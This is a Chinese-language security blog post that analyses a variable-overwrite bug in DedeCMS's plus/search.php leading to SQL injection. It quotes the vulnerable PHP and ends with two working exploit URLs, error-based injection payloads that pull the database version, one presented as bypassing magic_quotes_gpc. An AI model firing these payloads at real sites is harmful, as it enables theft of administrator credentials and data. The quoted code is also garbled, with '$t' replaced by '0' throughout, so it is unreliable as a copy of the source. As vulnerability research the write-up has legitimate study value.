微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.

作者: c4rp3nt3r@0x50sec.org

Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.

黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.

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Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.

require_once(dirname(__FILE__).”/../include/common.inc.php”);

require_once(DEDEINC.”/arc.searchview.class.php”);

$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;

0id = (isset(0id) && is_numeric(0id)) ? 0id : 0;

$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;

$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;

$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;

if(!isset($orderby)) $orderby=”;

else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);

if(!isset($searchtype)) $searchtype = ‘titlekeyword’;

else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);

if(!isset($keyword)){

if(!isset($q)) $q = ”;

$keyword=$q;

}

$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));

//查找栏目信息

if(empty(0id))

{

0nameCacheFile = DEDEDATA.’/cache/typename.inc’;

if(!file_exists(0nameCacheFile) || filemtime(0nameCacheFile) < time()-(3600*24) )

{

$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);

fwrite($fp, “<”.”?php\r\n”);

$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);

$dsql->Execute();

while($row = $dsql->GetArray())

{

fwrite($fp, “\0Arr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);

}

fwrite($fp, ‘?’.'>’);

fclose($fp);

}

//引入栏目缓存并看关键字是否有相关栏目内容

require_once(0nameCacheFile);

//0Arr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个

//

if(isset(0Arr) && is_array(0Arr))

{

foreach(0Arr as $id=>0name)

{

$keywordn = str_replace(0name, ‘ ‘, $keyword);//这个地方要绕过

if($keyword != $keywordn)

{

$keyword = $keywordn;

0id = $id;// 这里存在变量覆盖漏洞使 0id = (isset(0id) && is_numeric(0id)) ? 0id : 0; 这句过滤成了摆设

break;

}

}

}

}

然后plus/search.php文件下面定义了一个 Search类的对象 .

在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.

$this->TypeLink = new TypeLink(0id);

TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.

class TypeLink

{

var 0Dir;

var $dsql;

var $TypeID;

var $baseDir;

var $modDir;

var $indexUrl;

var $indexName;

var $TypeInfos;

var $SplitSymbol;

var $valuePosition;

var $valuePositionName;

var $OptionArrayList;

//构造函数///////

//php5构造函数

function __construct(0id)

{

$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];

$this->indexName = $GLOBALS['cfg_indexname'];

$this->baseDir = $GLOBALS['cfg_basedir'];

$this->modDir = $GLOBALS['cfg_templets_dir'];

$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];

$this->dsql = $GLOBALS['dsql'];

$this->TypeID = 0id;

$this->valuePosition = ”;

$this->valuePositionName = ”;

$this->typeDir = ”;

$this->OptionArrayList = ”;

//载入类目信息

$query = “SELECT tp.*,ch.typename as

ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join

`#@__channeltype` ch

on ch.id=tp.channeltypeWHERE tp.id=’0id’ “;//注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿

if(0id > 0)

{

$this->TypeInfos = $this->dsql->GetOne($query);

利用代码一 需要 即使magic_quotes_gpc = Off

http:// /plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title

这只是其中一个利用代码… Search 类的构造函数再往下

……省略

$this->TypeID = 0id;

……省略

if($this->TypeID==”0″){

$this->ChannelTypeid=1;

}else{

$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲

//现在不鸡肋了吧亲…

$this->ChannelTypeid=$row['channeltype'];

}

利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.

http:// /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title

如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站